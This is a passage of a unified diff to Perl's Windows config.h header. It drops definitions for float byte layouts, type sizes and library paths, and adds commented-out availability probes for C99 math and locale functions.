-/* DOUBLEINFBYTES:
- *	This symbol, if defined, is a comma-separated list of
- *	hexadecimal bytes for the double precision infinity.
- */
-/* DOUBLENANBYTES:
- *	This symbol, if defined, is a comma-separated list of
- *	hexadecimal bytes (0xHH) for the double precision not-a-number.
- */
-/* LONGDBLINFBYTES:
- *	This symbol, if defined, is a comma-separated list of
- *	hexadecimal bytes for the long double precision infinity.
- */
-/* LONGDBLNANBYTES:
- *	This symbol, if defined, is a comma-separated list of
- *	hexadecimal bytes (0xHH) for the long double precision not-a-number.
- */
-#define DOUBLEINFBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f		/**/
-#define DOUBLENANBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f		/**/
-#define LONGDBLINFBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f		/**/
-#define LONGDBLNANBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f		/**/
-
-/* DOUBLEMANTBITS:
- *	This symbol, if defined, tells how many mantissa bits
- *	there are in double precision floating point format.
- *      Note that this is usually DBL_MANT_DIG minus one, since
- *      with the standard IEEE 754 formats DBL_MANT_DIG includes
- *	the implicit bit, which doesn't really exist.
- */
-#define DOUBLEMANTBITS 52
-
-/* LONGDBLMANTBITS:
- *	This symbol, if defined, tells how many mantissa bits
- *	there are in long double precision floating point format.
- *      Note that this can be LDBL_MANT_DIG minus one,
- *      since LDBL_MANT_DIG can include the IEEE 754 implicit bit.
- *      The common x86-style 80-bit long double does not have
- *	an implicit bit.
- */
-#define LONGDBLMANTBITS 52
-
-/* LONG_DOUBLE_STYLE_IEEE
- *	This symbol, if defined, indicates that the long double
- *	is any of the IEEE 754 style long doubles:
- *	LONG_DOUBLE_STYLE_IEEE_STD, LONG_DOUBLE_STYLE_IEEE_EXTENDED,
- *	LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE.
- */
-/* LONG_DOUBLE_STYLE_IEEE_EXTENDED
- *	This symbol, if defined, indicates that the long double is
- *	the 80-bit IEEE 754. Note that despite the 'extended' this
- *	is less than the 'std', since this is an extension of
- *	the double precision.
- */
-#define LONG_DOUBLE_STYLE_IEEE
-#define LONG_DOUBLE_STYLE_IEEE_EXTENDED
-
-/* EBCDIC:
- *	This symbol, if defined, indicates that this system uses
- *	EBCDIC encoding.
- */
-/*#define	EBCDIC 		/ **/
-
-/* Fpos_t:
- *	This symbol holds the type used to declare file positions in libc.
- *	It can be fpos_t, long, uint, etc... It may be necessary to include
- *	<sys/types.h> to get any typedef'ed information.
- */
-#define Fpos_t fpos_t		/* File position type */
-
-/* Gid_t_f:
- *	This symbol defines the format string used for printing a Gid_t.
- */
-#define	Gid_t_f		"ld"		/**/
-
-/* Gid_t_sign:
- *	This symbol holds the signedness of a Gid_t.
- *	1 for unsigned, -1 for signed.
- */
-#define Gid_t_sign	-1		/* GID sign */
-
-/* Gid_t_size:
- *	This symbol holds the size of a Gid_t in bytes.
- */
-#define Gid_t_size 4		/* GID size */
-
-/* Gid_t:
- *	This symbol holds the return type of getgid() and the type of
- *	argument to setrgid() and related functions.  Typically,
- *	it is the type of group ids in the kernel. It can be int, ushort,
- *	gid_t, etc... It may be necessary to include <sys/types.h> to get
- *	any typedef'ed information.
- */
-#define Gid_t gid_t		/* Type for getgid(), etc... */
-
 /* I_DIRENT:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <dirent.h>. Using this symbol also triggers the definition
@@ -2787,12 +2050,6 @@
 /*#define I_GRP		/ **/
 /*#define GRPASSWD	/ **/
 
-/* I_MACH_CTHREADS:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <mach/cthreads.h>.
- */
-/*#define   I_MACH_CTHREADS	/ **/
-
 /* I_NDBM:
  *	This symbol, if defined, indicates that <ndbm.h> exists and should
  *	be included.
@@ -2844,12 +2101,6 @@
  */
 /*#define I_NET_ERRNO		/ **/
 
-/* I_PTHREAD:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <pthread.h>.
- */
-/*#define   I_PTHREAD	/ **/
-
 /* I_PWD:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <pwd.h>.
@@ -2896,18 +2147,6 @@
 /*#define PWGECOS	/ **/
 /*#define PWPASSWD	/ **/
 
-/* I_SYS_ACCESS:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <sys/access.h>.
- */
-/*#define   I_SYS_ACCESS                / **/
-
-/* I_SYS_SECURITY:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <sys/security.h>.
- */
-/*#define   I_SYS_SECURITY	/ **/
-
 /* I_SYSUIO:
  *	This symbol, if defined, indicates that <sys/uio.h> exists and
  *	should be included.
@@ -2934,73 +2173,6 @@
 /*#define I_TERMIOS		/ **/
 /*#define I_SGTTY		/ **/
 
-/* I_TIME:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <time.h>.
- */
-/* I_SYS_TIME:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <sys/time.h>.
- */
-/* I_SYS_TIME_KERNEL:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <sys/time.h> with KERNEL defined.
- */
-/* HAS_TM_TM_ZONE:
- *	This symbol, if defined, indicates to the C program that
- *	the struct tm has a tm_zone field.
- */
-/* HAS_TM_TM_GMTOFF:
- *	This symbol, if defined, indicates to the C program that
- *	the struct tm has a tm_gmtoff field.
- */
-#define I_TIME		/**/
-/*#define I_SYS_TIME		/ **/
-/*#define I_SYS_TIME_KERNEL		/ **/
-/*#define HAS_TM_TM_ZONE		/ **/
-/*#define HAS_TM_TM_GMTOFF		/ **/
-
-/* I_STDARG:
- *	This symbol, if defined, indicates that <stdarg.h> exists and should
- *	be included.
- */
-/* I_VARARGS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <varargs.h>.
- */
-#define I_STDARG		/**/
-/*#define I_VARARGS	/ **/
-
-/* PERL_INC_VERSION_LIST:
- *	This variable specifies the list of subdirectories in over
- *	which perl.c:incpush() and lib/lib.pm will automatically
- *	search when adding directories to @INC, in a format suitable
- *	for a C initialization string.  See the inc_version_list entry
- *	in Porting/Glossary for more details.
- */
-/*#define PERL_INC_VERSION_LIST 0		/ **/
-
-/* INSTALL_USR_BIN_PERL:
- *	This symbol, if defined, indicates that Perl is to be installed
- * 	also as /usr/bin/perl.
- */
-/*#define INSTALL_USR_BIN_PERL	/ **/
-
-/* Off_t:
- *	This symbol holds the type used to declare offsets in the kernel.
- *	It can be int, long, off_t, etc... It may be necessary to include
- *	<sys/types.h> to get any typedef'ed information.
- */
-/* LSEEKSIZE:
- *	This symbol holds the number of bytes used by the Off_t.
- */
-/* Off_t_size:
- *	This symbol holds the number of bytes used by the Off_t.
- */
-#define Off_t long		/* <offset> type */
-#define LSEEKSIZE 4		/* <offset> size */
-#define Off_t_size 4	/* <offset> size */
-
 /* Free_t:
  *	This variable contains the return type of free().  It is usually
  * void, but occasionally int.
@@ -3021,169 +2193,6 @@
  */
 /*#define MYMALLOC			/ **/
 
-/* Mode_t:
- *	This symbol holds the type used to declare file modes
- *	for systems calls.  It is usually mode_t, but may be
- *	int or unsigned short.  It may be necessary to include <sys/types.h>
- *	to get any typedef'ed information.
- */
-#define Mode_t mode_t	 /* file mode parameter for system calls */
-
-/* VAL_O_NONBLOCK:
- *	This symbol is to be used during open() or fcntl(F_SETFL) to turn on
- *	non-blocking I/O for the file descriptor. Note that there is no way
- *	back, i.e. you cannot turn it blocking again this way. If you wish to
- *	alternatively switch between blocking and non-blocking, use the
- *	ioctl(FIOSNBIO) call instead, but that is not supported by all devices.
- */
-/* VAL_EAGAIN:
- *	This symbol holds the errno error code set by read() when no data was
- *	present on the non-blocking file descriptor.
- */
-/* RD_NODATA:
- *	This symbol holds the return code from read() when no data is present
- *	on the non-blocking file descriptor. Be careful! If EOF_NONBLOCK is
- *	not defined, then you can't distinguish between no data and EOF by
- *	issuing a read(). You'll have to find another way to tell for sure!
- */
-/* EOF_NONBLOCK:
- *	This symbol, if defined, indicates to the C program that a read() on
- *	a non-blocking file descriptor will return 0 on EOF, and not the value
- *	held in RD_NODATA (-1 usually, in that case!).
- */
-#define VAL_O_NONBLOCK O_NONBLOCK
-#define VAL_EAGAIN EAGAIN
-#define RD_NODATA -1
-#define EOF_NONBLOCK
-
-/* Netdb_host_t:
- *	This symbol holds the type used for the 1st argument
- *	to gethostbyaddr().
- */
-/* Netdb_hlen_t:
- *	This symbol holds the type used for the 2nd argument
- *	to gethostbyaddr().
- */
-/* Netdb_name_t:
- *	This symbol holds the type used for the argument to
- *	gethostbyname().
- */
-/* Netdb_net_t:
- *	This symbol holds the type used for the 1st argument to
- *	getnetbyaddr().
- */
-#define Netdb_host_t		char * /**/
-#define Netdb_hlen_t		int /**/
-#define Netdb_name_t		char * /**/
-#define Netdb_net_t		long /**/
-
-/* PERL_OTHERLIBDIRS:
- *	This variable contains a colon-separated set of paths for the perl
- *	binary to search for additional library files or modules.
- *	These directories will be tacked to the end of @INC.
- *	Perl will automatically search below each path for version-
- *	and architecture-specific directories.  See PERL_INC_VERSION_LIST
- *	for more details.
- */
-/*#define PERL_OTHERLIBDIRS ""		/ **/
-
-/* Pid_t:
- *	This symbol holds the type used to declare process ids in the kernel.
- *	It can be int, uint, pid_t, etc... It may be necessary to include
- *	<sys/types.h> to get any typedef'ed information.
- */
-#define Pid_t int		/* PID type */
-
-/* PRIVLIB:
- *	This symbol contains the name of the private library for this package.
- *	The library is private in the sense that it needn't be in anyone's
- *	execution path, but it should be accessible by the world.  The program
- *	should be prepared to do ~ expansion.
- */
-/* PRIVLIB_EXP:
- *	This symbol contains the ~name expanded version of PRIVLIB, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-#define PRIVLIB "c:\\perl\\lib"		/**/
-#define PRIVLIB_EXP (PerlEnv_lib_path(PERL_VERSION_STRING, NULL))	/**/
-
-/* CAN_PROTOTYPE:
- *	If defined, this macro indicates that the C compiler can handle
- *	function prototypes.
- */
-/* _:
- *	This macro is used to declare function parameters for folks who want
- *	to make declarations with prototypes using a different style than
- *	the above macros.  Use double parentheses.  For example:
- *
- *		int main _((int argc, char *argv[]));
- */
-#define	CAN_PROTOTYPE	/**/
-#ifdef CAN_PROTOTYPE
-#define	_(args) args
-#else
-#define	_(args) ()
-#endif
-
-/* PTRSIZE:
- *	This symbol contains the size of a pointer, so that the C preprocessor
- *	can make decisions based on it.  It will be sizeof(void *) if
- *	the compiler supports (void *); otherwise it will be
- *	sizeof(char *).
- */
-#define PTRSIZE 4		/**/
-
-/* HAS_QUAD:
- *	This symbol, if defined, tells that there's a 64-bit integer type,
- *	Quad_t, and its unsigned counterpart, Uquad_t. QUADKIND will be one
- *	of QUAD_IS_INT, QUAD_IS_LONG, QUAD_IS_LONG_LONG, QUAD_IS_INT64_T,
- *	or QUAD_IS___INT64.
- */
-#define HAS_QUAD	/**/
-#ifdef HAS_QUAD
-#   define Quad_t __int64	/**/
-#   define Uquad_t unsigned __int64	/**/
-#   define QUADKIND 5	/**/
-#   define QUAD_IS_INT	1
-#   define QUAD_IS_LONG	2
-#   define QUAD_IS_LONG_LONG	3
-#   define QUAD_IS_INT64_T	4
-#   define QUAD_IS___INT64	5
-#endif
-
-/* Drand01:
- *	This macro is to be used to generate uniformly distributed
- *	random numbers over the range [0., 1.[.  You may have to supply
- *	an 'extern double drand48();' in your program since SunOS 4.1.3
- *	doesn't provide you with anything relevant in its headers.
- *	See HAS_DRAND48_PROTO.
- */
-/* Rand_seed_t:
- *	This symbol defines the type of the argument of the
- *	random seed function.
- */
-/* seedDrand01:
- *	This symbol defines the macro to be used in seeding the
- *	random number generator (see Drand01).
- */
-/* RANDBITS:
- *	This symbol indicates how many bits are produced by the
- *	function used to generate normalized random numbers.
- *	Values include 15, 16, 31, and 48.
- */
-#define Drand01()		Perl_drand48()		/**/
-#define Rand_seed_t		U32		/**/
-#define seedDrand01(x)	Perl_drand48_init((Rand_seed_t)x)	/**/
-#define RANDBITS		48		/**/
-
-/* Select_fd_set_t:
- *	This symbol holds the type used for the 2nd, 3rd, and 4th
- *	arguments to select.  Usually, this is 'fd_set *', if HAS_FD_SET
- *	is defined, and 'int *' otherwise.  This is only useful if you
- *	have select(), of course.
- */
-#define Select_fd_set_t 	Perl_fd_set *	/**/
-
 /* SH_PATH:
  *	This symbol contains the full pathname to the shell used on this
  *	on this system to execute Bourne shell scripts.  Usually, this will be
@@ -3233,162 +2242,6 @@
 #define SIG_NUM  0, 1, 2, 21, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 20, 0		/**/
 #define SIG_SIZE 27			/**/
 
-/* SITEARCH:
- *	This symbol contains the name of the private library for this package.
- *	The library is private in the sense that it needn't be in anyone's
- *	execution path, but it should be accessible by the world.  The program
- *	should be prepared to do ~ expansion.
- *	The standard distribution will put nothing in this directory.
- *	After perl has been installed, users may install their own local
- *	architecture-dependent modules in this directory with
- *		MakeMaker Makefile.PL
- *	or equivalent.  See INSTALL for details.
- */
-/* SITEARCH_EXP:
- *	This symbol contains the ~name expanded version of SITEARCH, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-#define SITEARCH "c:\\perl\\site\\lib"		/**/
-/*#define SITEARCH_EXP ""	/ **/
-
-/* SITELIB:
- *	This symbol contains the name of the private library for this package.
- *	The library is private in the sense that it needn't be in anyone's
- *	execution path, but it should be accessible by the world.  The program
- *	should be prepared to do ~ expansion.
- *	The standard distribution will put nothing in this directory.
- *	After perl has been installed, users may install their own local
- *	architecture-independent modules in this directory with
- *		MakeMaker Makefile.PL
- *	or equivalent.  See INSTALL for details.
- */
-/* SITELIB_EXP:
- *	This symbol contains the ~name expanded version of SITELIB, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-/* SITELIB_STEM:
- *	This define is SITELIB_EXP with any trailing version-specific component
- *	removed.  The elements in inc_version_list (inc_version_list.U) can
- *	be tacked onto this variable to generate a list of directories to search.
- */
-#define SITELIB "c:\\perl\\site\\lib"		/**/
-#define SITELIB_EXP (PerlEnv_sitelib_path(PERL_VERSION_STRING, NULL))	/**/
-#define SITELIB_STEM ""		/**/
-
-/* Size_t_size:
- *	This symbol holds the size of a Size_t in bytes.
- */
-#define Size_t_size 4		/**/
-
-/* Size_t:
- *	This symbol holds the type used to declare length parameters
- *	for string functions.  It is usually size_t, but may be
- *	unsigned long, int, etc.  It may be necessary to include
- *	<sys/types.h> to get any typedef'ed information.
- */
-#define Size_t size_t	 /* length parameter for string functions */
-
-/* Sock_size_t:
- *	This symbol holds the type used for the size argument of
- *	various socket calls (just the base type, not the pointer-to).
- */
-#define Sock_size_t		int /**/
-
-/* SSize_t:
- *	This symbol holds the type used by functions that return
- *	a count of bytes or an error condition.  It must be a signed type.
- *	It is usually ssize_t, but may be long or int, etc.
- *	It may be necessary to include <sys/types.h> or <unistd.h>
- *	to get any typedef'ed information.
- *	We will pick a type such that sizeof(SSize_t) == sizeof(Size_t).
- */
-#define SSize_t int	 /* signed count of bytes */
-
-/* STDCHAR:
- *	This symbol is defined to be the type of char used in stdio.h.
- *	It has the values "unsigned char" or "char".
- */
-#define STDCHAR char	/**/
-
-/* Uid_t_f:
- *	This symbol defines the format string used for printing a Uid_t.
- */
-#define	Uid_t_f		"ld"		/**/
-
-/* Uid_t_sign:
- *	This symbol holds the signedness of a Uid_t.
- *	1 for unsigned, -1 for signed.
- */
-#define Uid_t_sign	-1		/* UID sign */
-
-/* Uid_t_size:
- *	This symbol holds the size of a Uid_t in bytes.
- */
-#define Uid_t_size 4		/* UID size */
-
-/* Uid_t:
- *	This symbol holds the type used to declare user ids in the kernel.
- *	It can be int, ushort, uid_t, etc... It may be necessary to include
- *	<sys/types.h> to get any typedef'ed information.
- */
-#define Uid_t uid_t		/* UID type */
-
-/* USE_ITHREADS:
- *	This symbol, if defined, indicates that Perl should be built to
- *	use the interpreter-based threading implementation.
- */
-/* USE_5005THREADS:
- *	This symbol, if defined, indicates that Perl should be built to
- *	use the 5.005-based threading implementation.
- *	Only valid up to 5.8.x.
- */
-/* OLD_PTHREADS_API:
- *	This symbol, if defined, indicates that Perl should
- *	be built to use the old draft POSIX threads API.
- */
-/* USE_REENTRANT_API:
- *	This symbol, if defined, indicates that Perl should
- *	try to use the various _r versions of library functions.
- *	This is extremely experimental.
- */
-/*#define	USE_5005THREADS		/ **/
-/*#define	USE_ITHREADS		/ **/
-#if defined(USE_5005THREADS) && !defined(USE_ITHREADS)
-#define		USE_THREADS		/* until src is revised*/
-#endif
-/*#define	OLD_PTHREADS_API		/ **/
-/*#define	USE_REENTRANT_API	/ **/
-
-/* PERL_VENDORARCH:
- *	If defined, this symbol contains the name of a private library.
- *	The library is private in the sense that it needn't be in anyone's
- *	execution path, but it should be accessible by the world.
- *	It may have a ~ on the front.
- *	The standard distribution will put nothing in this directory.
- *	Vendors who distribute perl may wish to place their own
- *	architecture-dependent modules and extensions in this directory with
- *		MakeMaker Makefile.PL INSTALLDIRS=vendor
- *	or equivalent.  See INSTALL for details.
- */
-/* PERL_VENDORARCH_EXP:
- *	This symbol contains the ~name expanded version of PERL_VENDORARCH, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-/*#define PERL_VENDORARCH ""		/ **/
-/*#define PERL_VENDORARCH_EXP ""		/ **/
-
-/* PERL_VENDORLIB_EXP:
- *	This symbol contains the ~name expanded version of VENDORLIB, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-/* PERL_VENDORLIB_STEM:
- *	This define is PERL_VENDORLIB_EXP with any trailing version-specific component
- *	removed.  The elements in inc_version_list (inc_version_list.U) can
- *	be tacked onto this variable to generate a list of directories to search.
- */
-/*#define PERL_VENDORLIB_EXP ""		/ **/
-/*#define PERL_VENDORLIB_STEM ""		/ **/
-
 /* USE_CROSS_COMPILE:
  *	This symbol, if defined, indicates that Perl is being cross-compiled.
  */
@@ -3438,6 +2291,18 @@
  */
 /*#define HAS_AINTL		/ **/
 
+/* HAS_ASINH:
+ *	This symbol, if defined, indicates that the asinh routine is
+ *	available to do the inverse hyperbolic sine function.
+ */
+/*#define HAS_ASINH		/ **/
+
+/* HAS_ATANH:
+ *	This symbol, if defined, indicates that the atanh routine is
+ *	available to do the inverse hyperbolic tangent function.
+ */
+/*#define HAS_ATANH		/ **/
+
 /* HAS_BUILTIN_CHOOSE_EXPR:
  *	Can we handle GCC builtin for compile-time ternary-like expressions
  */
@@ -3483,6 +2348,12 @@
  */
 /*#define HAS_STRUCT_CMSGHDR	/ **/
 
+/* HAS_COPYSIGN:
+ *	This symbol, if defined, indicates that the copysign routine is
+ *	available to do the copysign function.
+ */
+/*#define HAS_COPYSIGN		/ **/
+
 /* HAS_COPYSIGNL:
  *	This symbol, if defined, indicates that the copysignl routine is
  *	available.  If aintl is also present we can emulate modfl.
@@ -3523,6 +2394,30 @@
  */
 /*#define 	DLSYM_NEEDS_UNDERSCORE 	/ **/
 
+/* HAS_ERF:
+ *	This symbol, if defined, indicates that the erf routine is
+ *	available to do the error function.
+ */
+/*#define HAS_ERF		/ **/
+
+/* HAS_ERFC:
+ *	This symbol, if defined, indicates that the erfc routine is
+ *	available to do the complementary error function.
+ */
+/*#define HAS_ERFC		/ **/
+
+/* HAS_EXP2:
+ *	This symbol, if defined, indicates that the exp2 routine is
+ *	available to do the 2**x function.
+ */
+/*#define HAS_EXP2		/ **/
+
+/* HAS_EXPM1:
+ *	This symbol, if defined, indicates that the expm1 routine is
+ *	available to do the exp(x) - 1 when x is near 1 function.
+ */
+/*#define HAS_EXPM1		/ **/
+
 /* HAS_FAST_STDIO:
  *	This symbol, if defined, indicates that the "fast stdio"
  *	is available to manipulate the stdio buffers directly.
@@ -3542,6 +2437,19 @@
  */
 /*#define FCNTL_CAN_LOCK		/ **/
 
+/* HAS_FDCLOSE:
+ *	This symbol, if defined, indicates that the fdclose routine is
+ *	available to free a FILE structure without closing the underlying
+ *	file descriptor.  This function appeared in FreeBSD 10.2.
+ */
+/*#define HAS_FDCLOSE		/ **/
+
+/* HAS_FDIM:
+ *	This symbol, if defined, indicates that the fdim routine is
+ *	available to do the positive difference function.
+ */
+/*#define HAS_FDIM		/ **/
+
 /* HAS_FEGETROUND:
  *	This symbol, if defined, indicates that the fegetround routine is
  *	available to return the macro corresponding to the current rounding
@@ -3570,6 +2478,24 @@
  */
 #define	HAS_FLOCK_PROTO	/**/
 
+/* HAS_FMA:
+ *	This symbol, if defined, indicates that the fma routine is
+ *	available to do the multiply-add function.
+ */
+/*#define HAS_FMA		/ **/
+
+/* HAS_FMAX:
+ *	This symbol, if defined, indicates that the fmax routine is
+ *	available to do the maximum function.
+ */
+/*#define HAS_FMAX		/ **/
+
+/* HAS_FMIN:
+ *	This symbol, if defined, indicates that the fmin routine is
+ *	available to do the minimum function.
+ */
+/*#define HAS_FMIN		/ **/
+
 /* HAS_FP_CLASS:
  *	This symbol, if defined, indicates that the fp_class routine is
  *	available to classify doubles.  Available for example in Digital UNIX.
@@ -3681,6 +2607,27 @@
  */
 /*#define HAS_STRUCT_FS_DATA	/ **/
 
+/* HAS_FCHMODAT:
+ *	This symbol is defined if the fchmodat() routine is available.
+ */
+/* HAS_LINKAT:
+ *	This symbol is defined if the linkat() routine is available.
+ */
+/* HAS_OPENAT:
+ *	This symbol is defined if the openat() routine is available.
+ */
+/* HAS_RENAMEAT:
+ *	This symbol is defined if the renameat() routine is available.
+ */
+/* HAS_UNLINKAT:
+ *	This symbol is defined if the unlinkat() routine is available.
+ */
+/*#define	HAS_FCHMODAT	/ **/
+/*#define	HAS_LINKAT	/ **/
+/*#define	HAS_OPENAT	/ **/
+/*#define	HAS_RENAMEAT	/ **/
+/*#define	HAS_UNLINKAT	/ **/
+
 /* HAS_FSEEKO:
  *	This symbol, if defined, indicates that the fseeko routine is
  *	available to fseek beyond 32 bits (useful for ILP32 hosts).
@@ -3712,6 +2659,13 @@
  */
 /*#define HAS_FUTIMES		/ **/
 
+/* HAS_GAI_STRERROR:
+ *	This symbol, if defined, indicates that the gai_strerror routine
+ *	is available to translate error codes returned by getaddrinfo()
+ *	into human readable strings.
+ */
+/*#define HAS_GAI_STRERROR	/ **/
+
 /* HAS_GETADDRINFO:
  *	This symbol, if defined, indicates that the getaddrinfo() function
  *	is available for use.
@@ -3778,6 +2732,18 @@
  */
 /*#define HAS_HASMNTOPT		/ **/
 
+/* HAS_HYPOT:
+ *	This symbol, if defined, indicates that the hypot routine is
+ *	available to do the hypotenuse function.
+ */
+/*#define HAS_HYPOT		/ **/
+
+/* HAS_ILOGB:
+ *	This symbol, if defined, indicates that the ilogb routine is
+ *	available to get integer exponent of a floating-point value.
+ */
+/*#define HAS_ILOGB		/ **/
+
 /* HAS_ILOGBL:
  *	This symbol, if defined, indicates that the ilogbl routine is
  *	available.  If scalbnl is also present we can emulate frexpl.
@@ -3834,6 +2800,12 @@
  */
 /*#define HAS_ISINFL		/ **/
 
+/* HAS_ISLESS:
+ *	This symbol, if defined, indicates that the isless routine is
+ *	available to do the isless function.
+ */
+/*#define HAS_ISLESS		/ **/
+
 /* HAS_ISNAN:
  *	This symbol, if defined, indicates that the isnan routine is
  *	available to check whether a double is a NaN.
@@ -3846,6 +2818,12 @@
  */
 /*#define HAS_ISNANL		/ **/
 
+/* HAS_ISNORMAL:
+ *	This symbol, if defined, indicates that the isnormal routine is
+ *	available to check whether a double is normal (non-zero normalized).
+ */
+/*#define HAS_ISNORMAL		/ **/
+
 /* HAS_J0:
  *	This symbol, if defined, indicates to the C program that the
  *	j0() function is available for Bessel functions of the first
@@ -3859,6 +2837,12 @@
 /*#define	HAS_J0		/ **/
 /*#define	HAS_J0L		/ **/
 
+/* HAS_LC_MONETARY_2008:
+ *	This symbol, if defined, indicates that the localeconv routine is
+ *	available and has the additional members added in POSIX 1003.1-2008.
+ */
+/*#define HAS_LC_MONETARY_2008		/ **/
+
 /* HAS_LDBL_DIG:
  *	This symbol, if defined, indicates that this system's <float.h>
  *	or <limits.h> defines the symbol LDBL_DIG, which is the number
@@ -3867,6 +2851,20 @@
  */
 #define HAS_LDBL_DIG 	/**/
 
+/* HAS_LGAMMA:
+ *	This symbol, if defined, indicates that the lgamma routine is
+ *	available to do the log gamma function.  See also HAS_TGAMMA and
+ *	HAS_LGAMMA_R.
+ */
+/*#define HAS_LGAMMA		/ **/
+
+/* HAS_LGAMMA_R:
+ *	This symbol, if defined, indicates that the lgamma_r routine is
+ *	available to do the log gamma function without using the global
+ *	signgam variable.
+ */
+/*#define HAS_LGAMMA_R		/ **/
+
 /* LIBM_LIB_VERSION:
  *	This symbol, if defined, indicates that libm exports _LIB_VERSION
  *	and that math.h defines the enum to manipulate it.
@@ -3873,6 +2871,78 @@
  */
 /*#define LIBM_LIB_VERSION		/ **/
 
+/* HAS_LLRINT:
+ *	This symbol, if defined, indicates that the llrint routine is
+ *	available to return the long long value closest to a double
+ *	(according to the current rounding mode).
+ */
+/*#define HAS_LLRINT		/ **/
+
+/* HAS_LLRINTL:
+ *	This symbol, if defined, indicates that the llrintl routine is
+ *	available to return the long long value closest to a long double
+ *	(according to the current rounding mode).
+ */
+/*#define HAS_LLRINTL		/ **/
+
+/* HAS_LLROUND:
+ *	This symbol, if defined, indicates that the llround routine is
+ *	available to return the nearest long long value.
+ */
+/*#define HAS_LLROUND		/ **/
+
+/* HAS_LLROUNDL:
+ *	This symbol, if defined, indicates that the llroundl routine is
+ *	available to return the nearest long long value away from zero of
+ *	the long double argument value.
+ */
+/*#define HAS_LLROUNDL		/ **/
+
+/* HAS_LOG1P:
+ *	This symbol, if defined, indicates that the log1p routine is
+ *	available to do the logarithm of 1 plus argument function.
+ */
+/*#define HAS_LOG1P		/ **/
+
+/* HAS_LOG2:
+ *	This symbol, if defined, indicates that the log2 routine is
+ *	available to do the log2 function.
+ */
+/*#define HAS_LOG2		/ **/
+
+/* HAS_LOGB:
+ *	This symbol, if defined, indicates that the logb routine is
+ *	available to do the logb function.
+ */
+/*#define HAS_LOGB		/ **/
+
+/* HAS_LRINT:
+ *	This symbol, if defined, indicates that the lrint routine is
+ *	available to return the integral value closest to a double
+ *	(according to the current rounding mode).
+ */
+/*#define HAS_LRINT		/ **/
+
+/* HAS_LRINTL:
+ *	This symbol, if defined, indicates that the lrintl routine is
+ *	available to return the integral value closest to a long double
+ *	(according to the current rounding mode).
+ */
+/*#define HAS_LRINTL		/ **/
+
+/* HAS_LROUND:
+ *	This symbol, if defined, indicates that the lround routine is
+ *	available to return the nearest integral value.
+ */
+/*#define HAS_LROUND		/ **/
+
+/* HAS_LROUNDL:
+ *	This symbol, if defined, indicates that the lroundl routine is
+ *	available to return the nearest integral value away from zero of
+ *	the long double argument value.
+ */
+/*#define HAS_LROUNDL		/ **/
+
 /* HAS_MADVISE:
  *	This symbol, if defined, indicates that the madvise system call is
  *	available to map a file into memory.
@@ -3891,6 +2961,20 @@
  */
 /*#define HAS_MALLOC_GOOD_SIZE	/ **/
 
+/* HAS_MEMMEM:
+ *	This symbol, if defined, indicates that the memmem routine is
+ *	available to return a pointer to the start of the first occurance
+ *	of a substring in a memory area (or NULL if not found).
+ */
+/*#define HAS_MEMMEM		/ **/
+
+/* HAS_MEMRCHR:
+ *	This symbol, if defined, indicates that the memrchr routine is
+ *	available to return a pointer to the last occurrence of a byte in
+ *	a memory area (or NULL if not found).
+ */
+/*#define HAS_MEMRCHR		/ **/
+
 /* HAS_MKDTEMP:
  *	This symbol, if defined, indicates that the mkdtemp routine is
  *	available to exclusively create a uniquely named temporary directory.
@@ -3929,6 +3013,60 @@
  */
 /*#define HAS_STRUCT_MSGHDR	/ **/
 
+/* HAS_NAN:
+ *	This symbol, if defined, indicates that the nan routine is
+ *	available to generate NaN.
+ */
+/*#define HAS_NAN		/ **/
+
+/* HAS_NEARBYINT:
+ *	This symbol, if defined, indicates that the nearbyint routine is
+ *	available to return the integral value closest to (according to
+ *	the current rounding mode) to x.
+ */
+/*#define HAS_NEARBYINT		/ **/
+
+/* HAS_NEWLOCALE:
+ *	This symbol, if defined, indicates that the newlocale routine is
+ *	available to return a new locale object or modify an existing
+ *	locale object.
+ */
+/* HAS_FREELOCALE:
+ *	This symbol, if defined, indicates that the freelocale routine is
+ *	available to deallocates the resources associated with a locale object.
+ */
+/* HAS_USELOCALE:
+ *	This symbol, if defined, indicates that the uselocale routine is
+ *	available to set the current locale for the calling thread.
+ */
+/* HAS_QUERYLOCALE:
+ *	This symbol, if defined, indicates that the querylocale routine is
+ *	available to return the name of the locale for a category mask.
+ */
+/* I_XLOCALE:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <xlocale.h> to get uselocale() and its friends.
+ */
+/*#define	HAS_NEWLOCALE	/ **/
+/*#define	HAS_FREELOCALE	/ **/
+/*#define	HAS_USELOCALE	/ **/
+/*#define	HAS_QUERYLOCALE	/ **/
+/*#define	I_XLOCALE               / **/
+
+/* HAS_NEXTAFTER:
+ *	This symbol, if defined, indicates that the nextafter routine is
+ *	available to return the next machine representable double from
+ *	x in direction y.
+ */
+/*#define HAS_NEXTAFTER		/ **/
+
+/* HAS_NEXTTOWARD:
+ *	This symbol, if defined, indicates that the nexttoward routine is
+ *	available to return the next machine representable long double from
+ *	x in direction y.
+ */
+/*#define HAS_NEXTTOWARD		/ **/
+
 /* HAS_NL_LANGINFO:
  *	This symbol, if defined, indicates that the nl_langinfo routine is
  *	available to return local data.  You will also need <langinfo.h>
@@ -3944,6 +3082,8 @@
 /* HAS_PRCTL:
  *	This symbol, if defined, indicates that the prctl routine is
  *	available to set process title.
